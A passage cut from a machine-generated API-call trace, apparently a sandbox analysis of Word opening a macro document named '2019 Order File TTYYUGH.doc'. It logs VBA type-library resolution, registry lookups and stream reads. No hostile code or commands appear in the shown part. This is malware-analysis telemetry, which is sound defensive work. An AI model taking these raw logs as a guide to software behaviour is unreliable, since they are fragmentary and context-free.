_Destination="*\\CNormal") returned 0x0 [0036.821] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x267070, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.821] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0036.821] GetLocalTime (in: lpSystemTime=0x267330 | out: lpSystemTime=0x267330*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0xa, wMilliseconds=0x24)) [0036.821] wcsncpy_s (in: _Destination=0x266fe0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.821] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchLength=0x38 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc") returned 0x38 [0036.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", cchWideChar=57, lpMultiByteStr=0x266f10, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", lpUsedDefaultChar=0x0) returned 57 [0036.821] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CNormal") returned -11 [0036.821] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0 [0036.822] IUnknown:QueryInterface (in: This=0x81c0d20, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267518 | out: ppvObject=0x267518*=0x0) returned 0x80004002 [0036.822] ITypeLib:RemoteGetLibAttr (in: This=0x81c0d20, ppTLibAttr=0x267510, pDummy=0x10 | out: ppTLibAttr=0x267510, pDummy=0x10) returned 0x0 [0036.822] ITypeLib:RemoteGetDocumentation (in: This=0x81c0d20, index=-1, refPtrFlags=0x0, pbstrName=0x267508, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000 | out: pbstrName=0x267508*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000) returned 0x0 [0036.822] StringFromGUID2 (in: rguid=0x81c5ed0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x267530, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0036.822] _ultow_s (in: _Value=0x2, _Buffer=0x26747a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0036.822] _ultow_s (in: _Value=0x8, _Buffer=0x26747e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0036.822] _ultow_s (in: _Value=0x0, _Buffer=0x267482, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0036.822] wcscpy_s (in: _Destination=0x40460e8, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0036.822] wcscpy_s (in: _Destination=0x40460ee, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0036.822] wcscpy_s (in: _Destination=0x404613a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0036.822] wcscpy_s (in: _Destination=0x4046148, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0036.822] wcscpy_s (in: _Destination=0x40461c8, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0036.822] ITypeLib:LocalReleaseTLibAttr (This=0x81c0d20) returned 0x0 [0036.822] wcscpy_s (in: _Destination=0x81e63b8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0036.822] ITypeLib:RemoteGetDocumentation (in: This=0x81c0d20, index=-1, refPtrFlags=0x267628, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0036.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0036.822] strcpy_s (in: _Dst=0x267420, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0036.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x267420, cbMultiByte=7, lpWideCharStr=0x267270, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0036.822] IUnknown:AddRef (This=0x7f8b790) returned 0x3 [0036.822] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="Office", lHashVal=0x107515, pfName=0x267340, pBstrLibName=0x267270 | out: pfName=0x267340*=0, pBstrLibName=0x267270) returned 0x0 [0036.822] IUnknown:Release (This=0x7f8b790) returned 0x2 [0036.822] IUnknown:AddRef (This=0x7f887c0) returned 0x7 [0036.822] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="Office", lHashVal=0x107515, pfName=0x267340, pBstrLibName=0x267270 | out: pfName=0x267340*=0, pBstrLibName=0x267270) returned 0x0 [0036.822] IUnknown:Release (This=0x7f887c0) returned 0x6 [0036.822] IUnknown:AddRef (This=0x7f8b1f0) returned 0x4 [0036.822] ITypeLib:RemoteIsName (in: This=0x7f8b1f0, szNameBuf="Office", lHashVal=0x107515, pfName=0x267340, pBstrLibName=0x267270 | out: pfName=0x267340*=0, pBstrLibName=0x267270) returned 0x0 [0036.822] IUnknown:Release (This=0x7f8b1f0) returned 0x3 [0036.822] IMalloc:Alloc (This=0x7feff045380, cb=0x3c) returned 0x7ff43f0 [0036.822] IMalloc:Free (This=0x7feff045380, pv=0x819fe90) [0036.822] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c89f0 [0036.822] IMalloc:Realloc (This=0x7feff045380, pv=0x81c89f0, cb=0x68) returned 0x819fe90 [0036.822] IMalloc:Free (This=0x7feff045380, pv=0x7ff43f0) [0036.822] wcsncpy_s (in: _Destination=0x267220, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0036.822] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0036.822] IMalloc:Alloc (This=0x7feff045380, cb=0x12a) returned 0x8053dc0 [0036.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x8053dc0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0036.823] IMalloc:Free (This=0x7feff045380, pv=0x8053dc0) [0036.823] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0036.823] wcsncpy_s (in: _Destination=0x267220, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.823] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x267150, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.823] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0036.823] IUnknown:AddRef (This=0x81c0d20) returned 0x3 [0036.823] IUnknown:QueryInterface (in: This=0x81c0d20, riid=0x7fee40885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267648 | out: ppvObject=0x267648*=0x0) returned 0x80004002 [0036.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x267610, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0036.823] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0036.823] IUnknown:Release (This=0x81c0d20) returned 0x2 [0036.823] IUnknown:Release (This=0x81c0d20) returned 0x1 [0036.823] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c89f8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0036.823] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c89f8, cbMultiByte=7, lpWideCharStr=0x81c5fc8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0036.823] IMalloc:Alloc (This=0x7feff045380, cb=0xa8) returned 0x8220960 [0036.823] IMalloc:Alloc (This=0x7feff045380, cb=0x7f40) returned 0x82683f0 [0036.824] IMalloc:Alloc (This=0x7feff045380, cb=0x30) returned 0x7e68100 [0036.824] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a0c90 [0036.824] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x267938, pDummy=0x81e7bc0 | out: ppTypeAttr=0x267938, pDummy=0x81e7bc0*=0x7) returned 0x0 [0036.825] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.825] IUnknown:Release (This=0x8087e90) returned 0x1 [0036.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x2678c0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.826] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x2678a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.826] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.826] IMalloc:Alloc (This=0x7feff045380, cb=0x8) returned 0x8228fc0 [0036.826] qsort (in: _Base=0x8228fc0, _NumOfElements=0x1, _SizeOfElements=0x8, _PtFuncCompare=0x7fee3d1219c | out: _Base=0x8228fc0) [0036.826] bsearch (_Key=0x2667f8, _Base=0x8228fc0, _NumOfElements=0x1, _SizeOfElements=0x8, _PtFuncCompare=0x7fee3d1219c) returned 0x8228fc0 [0036.826] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisDocument", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 2 [0036.827] IMalloc:Alloc (This=0x7feff045380, cb=0x3d0) returned 0x8270340 [0036.827] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c8a50 [0036.827] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x81b3780 [0036.827] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819dd10 [0036.828] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8228fd0 [0036.828] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8228fe0 [0036.828] CExposedDocFile::AddRef () returned 0x3 [0036.828] CExposedDocFile::AddRef () returned 0x4 [0036.828] CExposedDocFile::OpenStream () returned 0x0 [0036.828] IMalloc:Alloc (This=0x7feff045380, cb=0x420) returned 0x8270720 [0036.828] CExposedStream::AddRef () returned 0x2 [0036.828] CExposedStream::Release () returned 0x1 [0036.828] CExposedDocFile::Release () returned 0x3 [0036.829] CExposedStream::Read () returned 0x0 [0036.829] IMalloc:Realloc (This=0x7feff045380, pv=0x81c8a50, cb=0x0) returned 0x0 [0036.829] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8228ff0 [0036.829] IMalloc:Realloc (This=0x7feff045380, pv=0x81b3780, cb=0x10) returned 0x81b3980 [0036.829] IMalloc:Realloc (This=0x7feff045380, pv=0x819dd10, cb=0x8) returned 0x8229000 [0036.829] IMalloc:Alloc (This=0x7feff045380, cb=0x640) returned 0x81f7040 [0036.829] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c8a50 [0036.830] CExposedStream::Seek () returned 0x0 [0036.830] IMalloc:Realloc (This=0x7feff045380, pv=0x81c8a50, cb=0x0) returned 0x0 [0036.830] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229010 [0036.830] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229020 [0036.830] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229030 [0036.830] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c8a50 [0036.830] CExposedStream::Seek () returned 0x0 [0036.839] IMalloc:Realloc (This=0x7feff045380, pv=0x8229030, cb=0x0) returned 0x0 [0036.839] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229030 [0036.839] IMalloc:Realloc (This=0x7feff045380, pv=0x8228fe0, cb=0x0) returned 0x0 [0036.839] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8228fe0 [0036.839] IMalloc:Realloc (This=0x7feff045380, pv=0x8229020, cb=0x28) returned 0x81c8a80 [0036.839] IMalloc:Realloc (This=0x7feff045380, pv=0x81c8a50, cb=0x0) returned 0x0 [0036.839] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8229020 [0036.839] IMalloc:Realloc (This=0x7feff045380, pv=0x8228fd0, cb=0x20) returned 0x81c8a50 [0036.839] IMalloc:Alloc (This=0x7feff045380, cb=0x2a) returned 0x7e681c0 [0036.839] IMalloc:Alloc (This=0x7feff045380, cb=0x2a) returned 0x7e68200 [0036.839] IMalloc:Free (This=0x7feff045380, pv=0x7e681c0) [0036.840] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819dd10 [0036.840] CExposedStream::Seek () returned 0x0 [0036.840] IMalloc:Realloc (This=0x7feff045380, pv=0x819dd10, cb=0x6d0) returned 0x81f7690 [0036.840] CExposedStream::Read () returned 0x0 [0036.840] CExposedStream::Read () returned 0x0 [0036.843] CExposedStream::Seek () returned 0x0 [0036.844] CExposedStream::Seek () returned 0x0 [0036.844] CExposedStream::Seek () returned 0x0 [0036.844] wcscpy_s (in: _Destination=0x40460e8, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.844] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x266e30 | out: phkResult=0x266e30*=0x9f6) returned 0x0 [0036.844] RegOpenKeyW (in: hKey=0x9f6, lpSubKey="{000204EF-0000-0000-C000-000000000046}", phkResult=0x266e28 | out: phkResult=0x266e28*=0x9fe) returned 0x0 [0036.844] RegEnumKeyW (in: hKey=0x9fe, dwIndex=0x0, lpName=0x266e58, cchName=0xa | out: lpName="2.1") returned 0x0 [0036.845] RegEnumKeyW (in: hKey=0x9fe, dwIndex=0x1, lpName=0x266e58, cchName=0xa | out: lpName="4.2") returned 0x0 [0036.845] wcscpy_s (in: _Destination=0x266e40, _SizeInWords=0xa, _Source="4.2" | out: _Destination="4.2") returned 0x0 [0036.845] RegOpenKeyW (in: hKey=0x9fe, lpSubKey="4.2", phkResult=0x266ee8 | out: phkResult=0x266ee8*=0xa06) returned 0x0 [0036.845] _ultoa_s (in: _Val=0x9, _DstBuf=0x266e60, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0036.845] RegOpenKeyA (in: hKey=0xa06, lpSubKey="9", phkResult=0x266e50 | out: phkResult=0x266e50*=0xa0a) returned 0x0 [0036.845] RegOpenKeyW (in: hKey=0xa0a, lpSubKey="win64", phkResult=0x266e58 | out: phkResult=0x266e58*=0xa0e) returned 0x0 [0036.846] RegCloseKey (hKey=0xa0e) returned 0x0 [0036.846] RegCloseKey (hKey=0xa0a) returned 0x0 [0036.846] _ultow_s (in: _Value=0x9, _Buffer=0x266ef0, _BufferCount=0x9, _Radix=16 | out: _Buffer="9") returned 0x0 [0036.846] RegOpenKeyW (in: hKey=0xa06, lpSubKey="9", phkResult=0x266ec8 | out: phkResult=0x266ec8*=0xa0a) returned 0x0 [0036.846] RegQueryValueW (in: hKey=0xa0a, lpSubKey="win64", lpData=0x266f10, lpcbData=0x266ec4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpcbData=0x266ec4) returned 0x0 [0036.847] wcscpy_s (in: _Destination=0x267190, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0036.847] RegCloseKey (hKey=0xa0a) returned 0x0 [0036.847] RegCloseKey (hKey=0xa06) returned 0x0 [0036.847] RegCloseKey (hKey=0x9fe) returned 0x0 [0036.847] RegCloseKey (hKey=0x9f6) returned 0x0 [0036.847] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", pptlib=0x267538*=0x0 | out: pptlib=0x267538*=0x7f8b790) returned 0x0 [0036.847] IUnknown:AddRef (This=0x7f8b790) returned 0x4 [0036.847] IUnknown:QueryInterface (in: This=0x7f8b790, riid=0x7fee40885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267598 | out: ppvObject=0x267598*=0x0) returned 0x80004002 [0036.847] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b790, index=-1, refPtrFlags=0x2678d8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0036.847] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="VBA", cchCount1=3, lpString2="Normal", cchCount2=6) returned 3 [0036.848] IUnknown:Release (This=0x7f8b790) returned 0x3 [0036.848] wcscpy_s (in: _Destination=0x40460e8, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.848] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x266e30 | out: phkResult=0x266e30*=0x9f6) returned 0x0 [0036.848] RegOpenKeyW (in: hKey=0x9f6, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0x266e28 | out: phkResult=0x266e28*=0xa02) returned 0x0 [0036.848] RegEnumKeyW (in: hKey=0xa02, dwIndex=0x0, lpName=0x266e58, cchName=0xa | out: lpName="8.7") returned 0x0 [0036.848] wcscpy_s (in: _Destination=0x266e40, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0036.848] RegOpenKeyW (in: hKey=0xa02, lpSubKey="8.7", phkResult=0x266ee8 | out: phkResult=0x266ee8*=0xa0a) returned 0x0 [0036.849] _ultoa_s (in: _Val=0x0, _DstBuf=0x266e60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0036.849] RegOpenKeyA (in: hKey=0xa0a, lpSubKey="0", phkResult=0x266e50 | out: phkResult=0x266e50*=0xa12) returned 0x0 [0036.849] RegOpenKeyW (in: hKey=0xa12, lpSubKey="win64", phkResult=0x266e58 | out: phkResult=0x266e58*=0xa1a) returned 0x0 [0036.849] RegCloseKey (hKey=0xa1a) returned 0x0 [0036.849] RegCloseKey (hKey=0xa12) returned 0x0 [0036.849] _ultow_s (in: _Value=0x0, _Buffer=0x266ef0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0036.849] RegOpenKeyW (in: hKey=0xa0a, lpSubKey="0", phkResult=0x266ec8 | out: phkResult=0x266ec8*=0xa0e) returned 0x0 [0036.850] RegQueryValueW (in: hKey=0xa0e, lpSubKey="win64", lpData=0x266f10, lpcbData=0x266ec4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0x266ec4) returned 0x0 [0036.850] wcscpy_s (in: _Destination=0x267190, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0036.850] RegCloseKey (hKey=0xa0e) returned 0x0 [0036.850] RegCloseKey (hKey=0xa0a) returned 0x0 [0036.850] RegCloseKey (hKey=0xa02) returned 0x0 [0036.850] RegCloseKey (hKey=0x9f6) returned 0x0 [0036.851] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0x267538*=0x0 | out: pptlib=0x267538*=0x7f887c0) returned 0x0 [0036.851] IUnknown:AddRef (This=0x7f887c0) returned 0x8 [0036.851] IUnknown:QueryInterface (in: This=0x7f887c0, riid=0x7fee40885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267598 | out: ppvObject=0x267598*=0x0) returned 0x80004002 [0036.851] ITypeLib:RemoteGetDocumentation (in: This=0x7f887c0, index=-1, refPtrFlags=0x2678d8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0036.851] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Word", cchCount1=4, lpString2="Normal", cchCount2=6) returned 3 [0036.851] IUnknown:Release (This=0x7f887c0) returned 0x7 [0036.851] wcscpy_s (in: _Destination=0x81acb48, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0036.851] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x266e30 | out: phkResult=0x266e30*=0x9f6) returned 0x0 [0036.851] RegOpenKeyW (in: hKey=0x9f6, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x266e28 | out: phkResult=0x266e28*=0xa02) returned 0x0 [0036.851] RegEnumKeyW (in: hKey=0xa02, dwIndex=0x0, lpName=0x266e58, cchName=0xa | out: lpName="1.0") returned 0x0 [0036.851] RegEnumKeyW (in: hKey=0xa02, dwIndex=0x1, lpName=0x266e58, cchName=0xa | out: lpName="2.0") returned 0x0 [0036.852] wcscpy_s (in: _Destination=0x266e40, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0036.852] RegOpenKeyW (in: hKey=0xa02, lpSubKey="2.0", phkResult=0x266ee8 | out: phkResult=0x266ee8*=0x9fe) returned 0x0 [0036.852] _ultoa_s (in: _Val=0x0, _DstBuf=0x266e60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0036.852] RegOpenKeyA (in: hKey=0x9fe, lpSubKey="0", phkResult=0x266e50 | out: phkResult=0x266e50*=0xa0a) returned 0x0 [0036.852] RegOpenKeyW (in: hKey=0xa0a, lpSubKey="win64", phkResult=0x266e58 | out: phkResult=0x266e58*=0xa06) returned 0x0 [0036.852] RegCloseKey (hKey=0xa06) returned 0x0 [0036.852] RegCloseKey (hKey=0xa0a) returned 0x0 [0036.852] _ultow_s (in: _Value=0x0, _Buffer=0x266ef0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0036.852] RegOpenKeyW (in: hKey=0x9fe, lpSubKey="0", phkResult=0x266ec8 | out: phkResult=0x266ec8*=0xa0a) returned 0x0 [0036.853] RegQueryValueW (in: hKey=0xa0a, lpSubKey="win64", lpData=0x266f10, lpcbData=0x266ec4 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x266ec4) returned 0x0 [0036.853] wcscpy_s (in: _Destination=0x267190, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0036.853] RegCloseKey (hKey=0xa0a) returned 0x0 [0036.853] RegCloseKey (hKey=0x9fe) returned 0x0 [0036.853] RegCloseKey (hKey=0xa02) returned 0x0 [0036.853] RegCloseKey (hKey=0x9f6) returned 0x0 [0036.854] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x267538*=0x0 | out: pptlib=0x267538*=0x7f8b1f0) returned 0x0 [0036.854] IUnknown:AddRef (This=0x7f8b1f0) returned 0x5 [0036.854] IUnknown:QueryInterface (in: This=0x7f8b1f0, riid=0x7fee40885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267598 | out: 